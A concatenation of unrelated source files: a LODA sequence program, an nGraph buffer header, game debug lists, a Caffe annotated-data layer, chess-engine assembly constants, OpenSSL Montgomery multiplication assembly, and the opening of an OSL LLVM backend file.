; 0,1,3,6,10,15,21,28,55,66,78,91,105,120,136,190,210,231,253,276,300,325,406,435,465,496,528,561,595,703,741,780,820,861,903,946,1081,1128,1176,1225,1275,1326,1378,1540,1596,1653,1711,1770,1830,1891,2080,2145
mov $2,$0
lpb $2,1
add $5,$0
lpb $5,1
mov $1,1
mov $4,$0
sub $5,$5
lpe
lpb $4,1
add $1,$2
mov $2,2
trn $4,7
lpe
add $3,$1
bin $1,$2
trn $2,$3
lpe
|
//*****************************************************************************
// Copyright 2017-2021 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//*****************************************************************************
#pragma once
#include <cstddef>
#include "ngraph/runtime/aligned_buffer.hpp"
namespace ngraph
{
namespace runtime
{
/// \brief SharedBuffer class to store pointer to pre-acclocated buffer.
template <typename T>
class SharedBuffer : public ngraph::runtime::AlignedBuffer
{
public:
SharedBuffer(char* data, size_t size, T& shared_object)
: _shared_object(shared_object)
{
m_allocated_buffer = data;
m_aligned_buffer = data;
m_byte_size = size;
}
virtual ~SharedBuffer()
{
m_aligned_buffer = nullptr;
m_allocated_buffer = nullptr;
m_byte_size = 0;
}
private:
T _shared_object;
};
}
}
|
; Object Mappings Subtype Frame Arttile
dbglistobj Obj_Ring, Map_Ring, 0, 0, make_art_tile($6BC,1,1)
dbglistobj Obj_Monitor, Map_Monitor, 6, 0, make_art_tile($4C4,0,0)
dbglistobj Obj_PathSwap, Map_PathSwap, 9, 1, make_art_tile($6BC,1,0)
dbglistobj Obj_PathSwap, Map_PathSwap, $D, 5, make_art_tile($6BC,1,0)
dbglistobj Obj_Spring, Map_Spring, $81, 0, make_art_tile($4A4,0,0)
dbglistobj Obj_Spring, Map_Spring, $90, 3, make_art_tile($4B4,0,0)
dbglistobj Obj_Spring, Map_Spring, $A0, 6, make_art_tile($4A4,0,0)
dbglistobj Obj_Spikes, Map_Spikes, 0, 0, make_art_tile($49C,0,0)
dbglistobj Obj_DDZMissile, Map_DDZMissileAsteroid, 0, $E, make_art_tile($2DB,2,0)
dbglistobj Obj_DDZAsteroid, Map_DDZMissileAsteroid, 2, $26, make_art_tile($2DB,1,0)
dbglistobj Obj_DDZAsteroid, Map_DDZMissileAsteroid, $12, $27, make_art_tile($2DB,1,0)
dbglistobj Obj_DDZAsteroid, Map_DDZMissileAsteroid, $22, $28, make_art_tile($2DB,1,0)
|
#include <opencv2/core/core.hpp>
#include <stdint.h>
#include <algorithm>
#include <map>
#include <vector>
#include "caffe/data_transformer.hpp"
#include "caffe/layers/annotated_data_layer.hpp"
#include "caffe/util/benchmark.hpp"
#include "caffe/util/sampler.hpp"
#include "caffe/parallel.hpp"
namespace caffe {
template <typename Ftype, typename Btype>
AnnotatedDataLayer<Ftype, Btype>::AnnotatedDataLayer(const LayerParameter& param,
size_t solver_rank)
: DataLayer<Ftype, Btype>(param, solver_rank) {}
template <typename Ftype, typename Btype>
AnnotatedDataLayer<Ftype, Btype>::~AnnotatedDataLayer() {
this->StopInternalThread();
}
template <typename Ftype, typename Btype>
void AnnotatedDataLayer<Ftype, Btype>::DataLayerSetUp(
const vector<Blob*>& bottom, const vector<Blob*>& top) {
const LayerParameter& param = this->layer_param();
const AnnotatedDataParameter& anno_data_param = param.annotated_data_param();
const int batch_size = param.data_param().batch_size();
const bool cache = this->cache_ && this->phase_ == TRAIN;
const bool shuffle = cache && this->shuffle_ && this->phase_ == TRAIN;
TBlob<Ftype> transformed_datum;
for (int i = 0; i < anno_data_param.batch_sampler_size(); ++i) {
batch_samplers_.push_back(anno_data_param.batch_sampler(i));
}
if (this->auto_mode()) {
if (!sample_areader_) {
sample_areader_ = std::make_shared<DataReader<AnnotatedDatum>>(param,
Caffe::device_in_use_per_host_count(),
this->rank_ % Caffe::device_in_use_per_host_count(),
this->parsers_num_,
this->threads_num(),
batch_size,
true,
false,
cache,
shuffle,
false);
} else if (!areader_) {
areader_ = std::make_shared<DataReader<AnnotatedDatum>>(param,
Caffe::device_in_use_per_host_count(),
this->rank_ % Caffe::device_in_use_per_host_count(),
this->parsers_num_,
this->threads_num(),
batch_size,
false,
true,
cache,
shuffle,
this->phase_ == TRAIN);
}
} else if (!areader_) {
areader_ = std::make_shared<DataReader<AnnotatedDatum>>(param,
Caffe::device_in_use_per_host_count(),
this->rank_ % Caffe::device_in_use_per_host_count(),
this->parsers_num_,
this->threads_num(),
batch_size,
false,
false,
cache,
shuffle,
this->phase_ == TRAIN);
}
label_map_file_ = anno_data_param.label_map_file();
// Make sure dimension is consistent within batch.
const TransformationParameter& transform_param =
this->layer_param_.transform_param();
if (transform_param.has_resize_param()) {
if (transform_param.resize_param().resize_mode() ==
ResizeParameter_Resize_mode_FIT_SMALL_SIZE) {
CHECK_EQ(batch_size, 1)
<< "Only support batch size of 1 for FIT_SMALL_SIZE.";
}
}
// Read a data point, and use it to initialize the top blob.
shared_ptr<AnnotatedDatum> sample_datum =
this->sample_only_ ? this->sample_areader_->sample() : this->areader_->sample();
AnnotatedDatum& anno_datum = *sample_datum;
this->ResizeQueues();
this->init_offsets();
// Calculate the variable sized transformed datum shape.
vector<int> sample_datum_shape = this->bdt(0)->InferDatumShape(sample_datum->datum());
// Reshape top[0] and prefetch_data according to the batch_size.
// Note: all these reshapings here in load_batch are needed only in case of
// different datum shapes coming from database.
vector<int> top_shape = this->bdt(0)->InferBlobShape(sample_datum_shape);
transformed_datum.Reshape(top_shape);
top_shape[0] = batch_size;
top[0]->Reshape(top_shape);
LOG(INFO) << "output data size: " << top[0]->num() << ","
<< top[0]->channels() << "," << top[0]->height() << ","
<< top[0]->width();
// label
vector<int> label_shape(4, 1);
if (this->output_labels_) {
has_anno_type_ = anno_datum.has_type() || anno_data_param.has_anno_type();
if (has_anno_type_) {
anno_type_ = anno_datum.type();
if (anno_data_param.has_anno_type()) {
// If anno_type is provided in AnnotatedDataParameter, replace
// the type stored in each individual AnnotatedDatum.
LOG(WARNING) << "type stored in AnnotatedDatum is shadowed.";
anno_type_ = anno_data_param.anno_type();
}
// Infer the label shape from anno_datum.AnnotationGroup().
int num_bboxes = 0;
if (anno_type_ == AnnotatedDatum_AnnotationType_BBOX) {
// Since the number of bboxes can be different for each image,
// we store the bbox information in a specific format. In specific:
// All bboxes are stored in one spatial plane (num and channels are 1)
// And each row contains one and only one box in the following format:
// [item_id, group_label, instance_id, xmin, ymin, xmax, ymax, diff]
// Note: Refer to caffe.proto for details about group_label and
// instance_id.
for (int g = 0; g < anno_datum.annotation_group_size(); ++g) {
num_bboxes += anno_datum.annotation_group(g).annotation_size();
}
label_shape[0] = 1;
label_shape[1] = 1;
// BasePrefetchingDataLayer<Dtype>::LayerSetUp() requires to call
// cpu_data and gpu_data for consistent prefetch thread. Thus we make
// sure there is at least one bbox.
label_shape[2] = std::max(num_bboxes, 1);
label_shape[3] = 8;
} else {
LOG(FATAL) << "Unknown annotation type.";
}
} else {
label_shape[0] = batch_size;
}
top[1]->Reshape(label_shape);
}
this->batch_transformer_->reshape(top_shape, label_shape, this->is_gpu_transform());
LOG(INFO) << this->print_current_device() << " Output data size: "
<< top[0]->num() << ", "
<< top[0]->channels() << ", "
<< top[0]->height() << ", "
<< top[0]->width();
}
// This function is called on prefetch thread
template <typename Ftype, typename Btype>
bool AnnotatedDataLayer<Ftype, Btype>::load_batch(Batch* batch, int thread_id, size_t queue_id) {
const bool sample_only = this->sample_only_.load();
TBlob<Btype> transformed_datum;
//const bool use_gpu_transform = false;//this->is_gpu_transform();
// Reshape according to the first anno_datum of each batch
// on single input batches allows for inputs of varying dimension.
const int batch_size = this->layer_param_.data_param().batch_size();
const AnnotatedDataParameter& anno_data_param =
this->layer_param_.annotated_data_param();
const TransformationParameter& transform_param =
this->layer_param_.transform_param();
const size_t qid = sample_only ? 0UL : queue_id;
DataReader<AnnotatedDatum>* reader = sample_only ? sample_areader_.get() : areader_.get();
CHECK_NOTNULL(reader);
shared_ptr<AnnotatedDatum> init_datum = reader->full_peek(qid);
CHECK(init_datum);
Packing packing = NHWC; // OpenCV
// Use data_transformer to infer the expected blob shape from datum.
vector<int> top_shape = this->bdt(thread_id)->InferBlobShape(init_datum->datum());
transformed_datum.Reshape(top_shape);
// Reshape batch according to the batch_size.
top_shape[0] = batch_size;
if (top_shape != batch->data_->shape()) {
batch->data_->Reshape(top_shape);
}
Btype* top_data = batch->data_->mutable_cpu_data<Btype>();
Btype* top_label = NULL; // suppress warnings about uninitialized variables
if (this->output_labels_ && !has_anno_type_) {
top_label = batch->label_->mutable_cpu_data<Btype>();
}
// Store transformed annotation.
map<int, vector<AnnotationGroup> > all_anno;
int num_bboxes = 0;
size_t current_batch_id = 0UL;
for (size_t entry = 0; entry < batch_size; ++entry) {
// get an anno_datum
shared_ptr<AnnotatedDatum> anno_datum = reader->full_pop(qid, "Waiting for data");
size_t item_id = anno_datum->record_id() % batch_size;
if (item_id == 0UL) {
current_batch_id = anno_datum->record_id() / batch_size;
}
AnnotatedDatum distort_datum;
AnnotatedDatum expand_datum;
if (transform_param.has_distort_param()) {
distort_datum.CopyFrom(*anno_datum);
this->bdt(thread_id)->DistortImage(anno_datum->datum(), distort_datum.mutable_datum());
if (transform_param.has_expand_param()) {
this->bdt(thread_id)->ExpandImage(distort_datum, &expand_datum);
} else {
expand_datum = distort_datum;
}
} else {
if (transform_param.has_expand_param()) {
this->bdt(thread_id)->ExpandImage(*anno_datum, &expand_datum);
} else {
expand_datum = *anno_datum;
}
}
AnnotatedDatum sampled_datum;
if (batch_samplers_.size() > 0) {
// Generate sampled bboxes from expand_datum.
vector<NormalizedBBox> sampled_bboxes;
GenerateBatchSamples(expand_datum, batch_samplers_, &sampled_bboxes);
if (sampled_bboxes.size() > 0) {
// Randomly pick a sampled bbox and crop the expand_datum.
int rand_idx = caffe_rng_rand() % sampled_bboxes.size();
this->bdt(thread_id)->CropImage(expand_datum, sampled_bboxes[rand_idx], &sampled_datum);
} else {
sampled_datum = expand_datum;
}
} else {
sampled_datum = expand_datum;
}
vector<int> shape =
this->bdt(thread_id)->InferBlobShape(sampled_datum.datum());
if (transform_param.has_resize_param()) {
if (transform_param.resize_param().resize_mode() ==
ResizeParameter_Resize_mode_FIT_SMALL_SIZE) {
transformed_datum.Reshape(shape);
batch->data_->Reshape(shape);
top_data = batch->data_->mutable_cpu_data<Btype>();
} else {
CHECK(std::equal(top_shape.begin() + 1, top_shape.begin() + 4,
shape.begin() + 1));
}
} else {
CHECK(std::equal(top_shape.begin() + 1, top_shape.begin() + 4,
shape.begin() + 1));
}
// Apply data transformations (mirror, scale, crop...)
int offset = batch->data_->offset(item_id);
transformed_datum.set_cpu_data(top_data + offset);
vector<AnnotationGroup> transformed_anno_vec;
if (this->output_labels_) {
if (has_anno_type_) {
// Make sure all data have same annotation type.
CHECK(sampled_datum.has_type()) << "Some datum misses AnnotationType.";
if (anno_data_param.has_anno_type()) {
sampled_datum.set_type(anno_type_);
} else {
CHECK_EQ(anno_type_, sampled_datum.type()) << "Different AnnotationType.";
}
// Transform datum and annotation_group at the same time
transformed_anno_vec.clear();
this->bdt(thread_id)->Transform(sampled_datum, &transformed_datum, &transformed_anno_vec);
if (anno_type_ == AnnotatedDatum_AnnotationType_BBOX) {
// Count the number of bboxes.
for (int g = 0; g < transformed_anno_vec.size(); ++g) {
num_bboxes += transformed_anno_vec[g].annotation_size();
}
} else {
LOG(FATAL) << "Unknown annotation type.";
}
all_anno[item_id] = transformed_anno_vec;
} else {
this->bdt(thread_id)->Transform(sampled_datum.datum(), &(transformed_datum));
// Otherwise, store the label from datum.
CHECK(sampled_datum.datum().has_label()) << "Cannot find any label.";
top_label[item_id] = sampled_datum.datum().label();
}
} else {
this->bdt(thread_id)->Transform(sampled_datum.datum(), &transformed_datum);
}
reader->free_push(queue_id, anno_datum);
}
// Store "rich" annotation if needed.
if (this->output_labels_ && has_anno_type_) {
vector<int> label_shape(4);
if (anno_type_ == AnnotatedDatum_AnnotationType_BBOX) {
label_shape[0] = 1;
label_shape[1] = 1;
label_shape[3] = 8;
if (num_bboxes == 0) {
// Store all -1 in the label.
label_shape[2] = 1;
batch->label_->Reshape(label_shape);
caffe_set<Btype>(8, -1, batch->label_->mutable_cpu_data<Btype>());
} else {
// Reshape the label and store the annotation.
label_shape[2] = num_bboxes;
batch->label_->Reshape(label_shape);
top_label = batch->label_->mutable_cpu_data<Btype>();
int idx = 0;
for (int item_id = 0; item_id < batch_size; ++item_id) {
const vector<AnnotationGroup>& anno_vec = all_anno[item_id];
for (int g = 0; g < anno_vec.size(); ++g) {
const AnnotationGroup& anno_group = anno_vec[g];
for (int a = 0; a < anno_group.annotation_size(); ++a) {
const Annotation& anno = anno_group.annotation(a);
const NormalizedBBox& bbox = anno.bbox();
top_label[idx++] = item_id;
top_label[idx++] = anno_group.group_label();
top_label[idx++] = anno.instance_id();
top_label[idx++] = bbox.xmin();
top_label[idx++] = bbox.ymin();
top_label[idx++] = bbox.xmax();
top_label[idx++] = bbox.ymax();
top_label[idx++] = bbox.difficult();
}
}
}
}
} else {
LOG(FATAL) << "Unknown annotation type.";
}
}
batch->set_data_packing(packing);
batch->set_id(current_batch_id);
this->sample_only_.store(false);
return true;
}
INSTANTIATE_CLASS_FB(AnnotatedDataLayer);
REGISTER_LAYER_CLASS_R(AnnotatedData);
} // namespace caffe
|
SECTION code_fcntl
PUBLIC _font_8x8_rom
defc _font_8x8_rom = 15360+256
|
if VERSION_OS = 'W'
SEP_CHAR = ';'
else
SEP_CHAR = ':'
end if
; MAX_RESETCNT should NOT be more than the number of times search is called per second/core,
; which is about half of nps/core (the other half comes from qsearch). Higher setting are
; dangerous but lower settings lead to increased polling of the time
; MIN_RESETCNT should be fairly low, not more than 50, say.
; official sf polls the timer every 4096 calls, which is much too often
MAX_RESETCNT = 100000
MIN_RESETCNT = 40
; if USE_SPAMFILTER, wait at least this ms before writing out info string
SPAMFILTER_DELAY = 100
; if USE_CURRMOVE, don't print current move info before this number of ms
CURRMOVE_MIN_TIME = 3000
; some bounds
MAX_MOVES = 224 ; maximum number of pseudo legal moves for any position
AVG_MOVES = 96 ; safe average number of moves per position, used for memory allocation
MAX_THREADS = 256
MAX_NUMANODES = 32
MAX_LINUXCPUS = 512 ; should be a multiple of 64
MAX_HASH_LOG2MB = 16 ; max hash size is (2^MAX_HASH_LOG2MB) MiB
THREAD_STACK_SIZE = 1048576
PAWN_HASH_ENTRY_COUNT = 16384 ; should be a power of 2
MATERIAL_HASH_ENTRY_COUNT = 8192 ; should be a power of 2
FILE_H = 7
FILE_G = 6
FILE_F = 5
FILE_E = 4
FILE_D = 3
FILE_C = 2
FILE_B = 1
FILE_A = 0
repeat 8, i:1
RANK_#i = i-1
SQ_A#i = (0+8*(i-1))
SQ_B#i = (1+8*(i-1))
SQ_C#i = (2+8*(i-1))
SQ_D#i = (3+8*(i-1))
SQ_E#i = (4+8*(i-1))
SQ_F#i = (5+8*(i-1))
SQ_G#i = (6+8*(i-1))
SQ_H#i = (7+8*(i-1))
end repeat
; some bitboards
DarkSquares = 0xAA55AA55AA55AA55
LightSquares = 0x55AA55AA55AA55AA
AllSquares = 0xFFFFFFFFFFFFFFFF
FileABB = 0x0101010101010101
FileBBB = 0x0202020202020202
FileCBB = 0x0404040404040404
FileDBB = 0x0808080808080808
FileEBB = 0x1010101010101010
FileFBB = 0x2020202020202020
FileGBB = 0x4040404040404040
FileHBB = 0x8080808080808080
Rank8BB = 0xFF00000000000000
Rank7BB = 0x00FF000000000000
Rank6BB = 0x0000FF0000000000
Rank5BB = 0x000000FF00000000
Rank4BB = 0x00000000FF000000
Rank3BB = 0x0000000000FF0000
Rank2BB = 0x000000000000FF00
Rank1BB = 0x00000000000000FF
White = 0
Black = 1
Pawn = 2
Knight = 3
Bishop = 4
Rook = 5
Queen = 6
King = 7
; piece values
PawnValueMg = 171
KnightValueMg = 764
BishopValueMg = 826
RookValueMg = 1282
QueenValueMg = 2526
PawnValueEg = 240
KnightValueEg = 848
BishopValueEg = 891
RookValueEg = 1373
QueenValueEg = 2646
MidgameLimit = 15258
EndgameLimit = 3915
; values for evaluation
Eval_Tempo = 20
; values from stats tables
HistoryStats_Max = 268435456
CmhDeadOffset = 4*(8*64)*(16*64)
CounterMovePruneThreshold = 0
; depths for search
ONE_PLY = 1
MAX_PLY = 128
MAX_SYZYGY_PLY = 20
DEPTH_QS_CHECKS = 0
DEPTH_QS_NO_CHECKS = -1
DEPTH_QS_RECAPTURES = -5
DEPTH_NONE = -6
; values for evaluation
VALUE_ZERO = 0
VALUE_DRAW = 0
VALUE_KNOWN_WIN = 10000
VALUE_MATE = 32000
VALUE_INFINITE = 32001
VALUE_NONE = 32002
VALUE_MATE_IN_MAX_PLY = VALUE_MATE - 2 * MAX_PLY
VALUE_MATED_IN_MAX_PLY = -VALUE_MATE + 2 * MAX_PLY
PHASE_MIDGAME = 128
SCALE_FACTOR_DRAW = 0
SCALE_FACTOR_ONEPAWN = 48
SCALE_FACTOR_NORMAL = 64
SCALE_FACTOR_MAX = 128
SCALE_FACTOR_NONE = 255
; move types
MOVE_TYPE_NORMAL = 0
MOVE_TYPE_PROM = 4
MOVE_TYPE_EPCAP = 8
MOVE_TYPE_CASTLE = 12
; special moves (should be <=0 as 32bit quantities)
MOVE_NONE = 0
MOVE_NULL = 65 + 0x0FFFFF000
; definitions for move gen macros
CAPTURES = 0
QUIETS = 1
QUIET_CHECKS = 2
EVASIONS = 3
NON_EVASIONS = 4
LEGAL = 5
DELTA_N = 8
DELTA_E = 1
DELTA_S = -8
DELTA_W = -1
DELTA_NN = 16
DELTA_NE = 9
DELTA_SE = -7
DELTA_SS = -16
DELTA_SW = -9
DELTA_NW = 7
; bounds don't change
BOUND_NONE = 0
BOUND_UPPER = 1
BOUND_LOWER = 2
BOUND_EXACT = 3
; endgame eval fxn indices see Endgames_Int.asm for details
EndgameEval_KPK_index = 1 ; KP vs K
EndgameEval_KNNK_index = 2 ; KNN vs K
EndgameEval_KBNK_index = 3 ; KBN vs K
EndgameEval_KRKP_index = 4 ; KR vs KP
EndgameEval_KRKB_index = 5 ; KR vs KB
EndgameEval_KRKN_index = 6 ; KR vs KN
EndgameEval_KQKP_index = 7 ; KQ vs KP
EndgameEval_KQKR_index = 8 ; KQ vs KR
ENDGAME_EVAL_MAP_SIZE = 8 ; this should be number of functions added to the eval map
EndgameEval_KXK_index = 10 ; Generic mate lone king eval
ENDGAME_EVAL_MAX_INDEX = 16
; endgame scale fxn indices see Endgames_Int.asm for details
EndgameScale_KNPK_index = 1 ; KNP vs K
EndgameScale_KNPKB_index = 2 ; KNP vs KB
EndgameScale_KRPKR_index = 3 ; KRP vs KR
EndgameScale_KRPKB_index = 4 ; KRP vs KB
EndgameScale_KBPKB_index = 5 ; KBP vs KB
EndgameScale_KBPKN_index = 6 ; KBP vs KN
EndgameScale_KBPPKB_index = 7 ; KBPP vs KB
EndgameScale_KRPPKRP_index = 8 ; KRPP vs KRP
ENDGAME_SCALE_MAP_SIZE = 8 ; this should be number of functions added to the eval map
EndgameScale_KBPsK_index = 10 ; KB and pawns vs K
EndgameScale_KQKRPs_index = 11 ; KQ vs KR and pawns
EndgameScale_KPsK_index = 12 ; K and pawns vs K
EndgameScale_KPKP_index = 13 ; KP vs KP
ENDGAME_SCALE_MAX_INDEX = 16
|
%ifidn __OUTPUT_FORMAT__,obj
section code use32 class=code align=64
%elifidn __OUTPUT_FORMAT__,win32
$@feat.00 equ 1
section .text code align=64
%else
section .text code
%endif
global _bn_mul_mont
align 16
_bn_mul_mont:
L$_bn_mul_mont_begin:
push ebp
push ebx
push esi
push edi
xor eax,eax
mov edi,DWORD [40+esp]
cmp edi,4
jl NEAR L$000just_leave
lea esi,[20+esp]
lea edx,[24+esp]
mov ebp,esp
add edi,2
neg edi
lea esp,[edi*4+esp-32]
neg edi
mov eax,esp
sub eax,edx
and eax,2047
sub esp,eax
xor edx,esp
and edx,2048
xor edx,2048
sub esp,edx
and esp,-64
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
mov esi,DWORD [16+esi]
mov esi,DWORD [esi]
mov DWORD [4+esp],eax
mov DWORD [8+esp],ebx
mov DWORD [12+esp],ecx
mov DWORD [16+esp],edx
mov DWORD [20+esp],esi
lea ebx,[edi-3]
mov DWORD [24+esp],ebp
mov esi,DWORD [8+esp]
lea ebp,[1+ebx]
mov edi,DWORD [12+esp]
xor ecx,ecx
mov edx,esi
and ebp,1
sub edx,edi
lea eax,[4+ebx*4+edi]
or ebp,edx
mov edi,DWORD [edi]
jz NEAR L$001bn_sqr_mont
mov DWORD [28+esp],eax
mov eax,DWORD [esi]
xor edx,edx
align 16
L$002mull:
mov ebp,edx
mul edi
add ebp,eax
lea ecx,[1+ecx]
adc edx,0
mov eax,DWORD [ecx*4+esi]
cmp ecx,ebx
mov DWORD [28+ecx*4+esp],ebp
jl NEAR L$002mull
mov ebp,edx
mul edi
mov edi,DWORD [20+esp]
add eax,ebp
mov esi,DWORD [16+esp]
adc edx,0
imul edi,DWORD [32+esp]
mov DWORD [32+ebx*4+esp],eax
xor ecx,ecx
mov DWORD [36+ebx*4+esp],edx
mov DWORD [40+ebx*4+esp],ecx
mov eax,DWORD [esi]
mul edi
add eax,DWORD [32+esp]
mov eax,DWORD [4+esi]
adc edx,0
inc ecx
jmp NEAR L$0032ndmadd
align 16
L$0041stmadd:
mov ebp,edx
mul edi
add ebp,DWORD [32+ecx*4+esp]
lea ecx,[1+ecx]
adc edx,0
add ebp,eax
mov eax,DWORD [ecx*4+esi]
adc edx,0
cmp ecx,ebx
mov DWORD [28+ecx*4+esp],ebp
jl NEAR L$0041stmadd
mov ebp,edx
mul edi
add eax,DWORD [32+ebx*4+esp]
mov edi,DWORD [20+esp]
adc edx,0
mov esi,DWORD [16+esp]
add ebp,eax
adc edx,0
imul edi,DWORD [32+esp]
xor ecx,ecx
add edx,DWORD [36+ebx*4+esp]
mov DWORD [32+ebx*4+esp],ebp
adc ecx,0
mov eax,DWORD [esi]
mov DWORD [36+ebx*4+esp],edx
mov DWORD [40+ebx*4+esp],ecx
mul edi
add eax,DWORD [32+esp]
mov eax,DWORD [4+esi]
adc edx,0
mov ecx,1
align 16
L$0032ndmadd:
mov ebp,edx
mul edi
add ebp,DWORD [32+ecx*4+esp]
lea ecx,[1+ecx]
adc edx,0
add ebp,eax
mov eax,DWORD [ecx*4+esi]
adc edx,0
cmp ecx,ebx
mov DWORD [24+ecx*4+esp],ebp
jl NEAR L$0032ndmadd
mov ebp,edx
mul edi
add ebp,DWORD [32+ebx*4+esp]
adc edx,0
add ebp,eax
adc edx,0
mov DWORD [28+ebx*4+esp],ebp
xor eax,eax
mov ecx,DWORD [12+esp]
add edx,DWORD [36+ebx*4+esp]
adc eax,DWORD [40+ebx*4+esp]
lea ecx,[4+ecx]
mov DWORD [32+ebx*4+esp],edx
cmp ecx,DWORD [28+esp]
mov DWORD [36+ebx*4+esp],eax
je NEAR L$005common_tail
mov edi,DWORD [ecx]
mov esi,DWORD [8+esp]
mov DWORD [12+esp],ecx
xor ecx,ecx
xor edx,edx
mov eax,DWORD [esi]
jmp NEAR L$0041stmadd
align 16
L$001bn_sqr_mont:
mov DWORD [esp],ebx
mov DWORD [12+esp],ecx
mov eax,edi
mul edi
mov DWORD [32+esp],eax
mov ebx,edx
shr edx,1
and ebx,1
inc ecx
align 16
L$006sqr:
mov eax,DWORD [ecx*4+esi]
mov ebp,edx
mul edi
add eax,ebp
lea ecx,[1+ecx]
adc edx,0
lea ebp,[eax*2+ebx]
shr eax,31
cmp ecx,DWORD [esp]
mov ebx,eax
mov DWORD [28+ecx*4+esp],ebp
jl NEAR L$006sqr
mov eax,DWORD [ecx*4+esi]
mov ebp,edx
mul edi
add eax,ebp
mov edi,DWORD [20+esp]
adc edx,0
mov esi,DWORD [16+esp]
lea ebp,[eax*2+ebx]
imul edi,DWORD [32+esp]
shr eax,31
mov DWORD [32+ecx*4+esp],ebp
lea ebp,[edx*2+eax]
mov eax,DWORD [esi]
shr edx,31
mov DWORD [36+ecx*4+esp],ebp
mov DWORD [40+ecx*4+esp],edx
mul edi
add eax,DWORD [32+esp]
mov ebx,ecx
adc edx,0
mov eax,DWORD [4+esi]
mov ecx,1
align 16
L$0073rdmadd:
mov ebp,edx
mul edi
add ebp,DWORD [32+ecx*4+esp]
adc edx,0
add ebp,eax
mov eax,DWORD [4+ecx*4+esi]
adc edx,0
mov DWORD [28+ecx*4+esp],ebp
mov ebp,edx
mul edi
add ebp,DWORD [36+ecx*4+esp]
lea ecx,[2+ecx]
adc edx,0
add ebp,eax
mov eax,DWORD [ecx*4+esi]
adc edx,0
cmp ecx,ebx
mov DWORD [24+ecx*4+esp],ebp
jl NEAR L$0073rdmadd
mov ebp,edx
mul edi
add ebp,DWORD [32+ebx*4+esp]
adc edx,0
add ebp,eax
adc edx,0
mov DWORD [28+ebx*4+esp],ebp
mov ecx,DWORD [12+esp]
xor eax,eax
mov esi,DWORD [8+esp]
add edx,DWORD [36+ebx*4+esp]
adc eax,DWORD [40+ebx*4+esp]
mov DWORD [32+ebx*4+esp],edx
cmp ecx,ebx
mov DWORD [36+ebx*4+esp],eax
je NEAR L$005common_tail
mov edi,DWORD [4+ecx*4+esi]
lea ecx,[1+ecx]
mov eax,edi
mov DWORD [12+esp],ecx
mul edi
add eax,DWORD [32+ecx*4+esp]
adc edx,0
mov DWORD [32+ecx*4+esp],eax
xor ebp,ebp
cmp ecx,ebx
lea ecx,[1+ecx]
je NEAR L$008sqrlast
mov ebx,edx
shr edx,1
and ebx,1
align 16
L$009sqradd:
mov eax,DWORD [ecx*4+esi]
mov ebp,edx
mul edi
add eax,ebp
lea ebp,[eax*1+eax]
adc edx,0
shr eax,31
add ebp,DWORD [32+ecx*4+esp]
lea ecx,[1+ecx]
adc eax,0
add ebp,ebx
adc eax,0
cmp ecx,DWORD [esp]
mov DWORD [28+ecx*4+esp],ebp
mov ebx,eax
jle NEAR L$009sqradd
mov ebp,edx
add edx,edx
shr ebp,31
add edx,ebx
adc ebp,0
L$008sqrlast:
mov edi,DWORD [20+esp]
mov esi,DWORD [16+esp]
imul edi,DWORD [32+esp]
add edx,DWORD [32+ecx*4+esp]
mov eax,DWORD [esi]
adc ebp,0
mov DWORD [32+ecx*4+esp],edx
mov DWORD [36+ecx*4+esp],ebp
mul edi
add eax,DWORD [32+esp]
lea ebx,[ecx-1]
adc edx,0
mov ecx,1
mov eax,DWORD [4+esi]
jmp NEAR L$0073rdmadd
align 16
L$005common_tail:
mov ebp,DWORD [16+esp]
mov edi,DWORD [4+esp]
lea esi,[32+esp]
mov eax,DWORD [esi]
mov ecx,ebx
xor edx,edx
align 16
L$010sub:
sbb eax,DWORD [edx*4+ebp]
mov DWORD [edx*4+edi],eax
dec ecx
mov eax,DWORD [4+edx*4+esi]
lea edx,[1+edx]
jge NEAR L$010sub
sbb eax,0
and esi,eax
not eax
mov ebp,edi
and ebp,eax
or esi,ebp
align 16
L$011copy:
mov eax,DWORD [ebx*4+esi]
mov DWORD [ebx*4+edi],eax
mov DWORD [32+ebx*4+esp],ecx
dec ebx
jge NEAR L$011copy
mov esp,DWORD [24+esp]
mov eax,1
L$000just_leave:
pop edi
pop esi
pop ebx
pop ebp
ret
db 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105
db 112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56
db 54,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121
db 32,60,97,112,112,114,111,64,111,112,101,110,115,115,108,46
db 111,114,103,62,0
|
// Copyright Contributors to the Open Shading Language project.
// SPDX-License-Identifier: BSD-3-Clause
// https://github.com/AcademySoftwareFoundation/OpenShadingLanguage
#include <cmath>
#include <iostream>
#include <unordered_map>
#include <unordered_set>
#include <bitset>
#ifdef __GNUC__
#include <cxxabi.h>
#endif
#include <OpenImageIO/timer.h>
#include <OpenImageIO/sysutil.h>
#include <OpenImageIO/filesystem.h>
#include <OpenImageIO/strutil.h>
#include <OpenImageIO/fmath.h>
#ifdef OSL_USE_OPTIX
#include <optix.h>
#endif
#include "oslexec_pvt.h"
#include "../liboslcomp/oslcomp_pvt.h"
#include "backendllvm.h"
// Create extrenal declarations for all built-in funcs we may call from LLVM
#define DECL(name,signature) extern "C" void name();
#include "builtindecl.h"
#undef DECL
/*
This whole file is concerned with taking our post-optimized OSO
intermediate code and translating it into LLVM IR code so we can JIT it
and run it directly, for an expected huge speed gain over running our
interpreter.
Schematically, we want to create code that resembles the following:
// In this example, we assume a shader group with 2 layers.
// The GroupData struct is defined that gives the layout of the "heap",
// the temporary memory arena that the shader can use as it executes.
struct GroupData {
// Array telling if we have already run each layer
char layer_run[nlayers];
// Array telling if we have already initialized each
// needed user data (0 = haven't checked, 1 = checked and there
// was no userdata, 2 = checked and there was userdata)
char userdata_initialized[num_userdata];
// All the user data slots, in order
float userdata_s;
float userdata_t;
// For each layer in the group, we declare all shader params
// whose values are not known -- they have init ops, or are
// interpolated from the geom, or are connected to other layers.
float param_0_foo; // number is layer ID
float param_1_bar;
};
// Name of layer entry is $layer_ID
void $layer_0(ShaderGlobals* sg, GroupData* group,
void* userdatda_base_ptr, void* output_base_ptr,
int shadeindex)
{
// Declare locals, temps, constants, params with known values.
// Make them all look like stack memory locations:
float *x = alloca(sizeof(float));
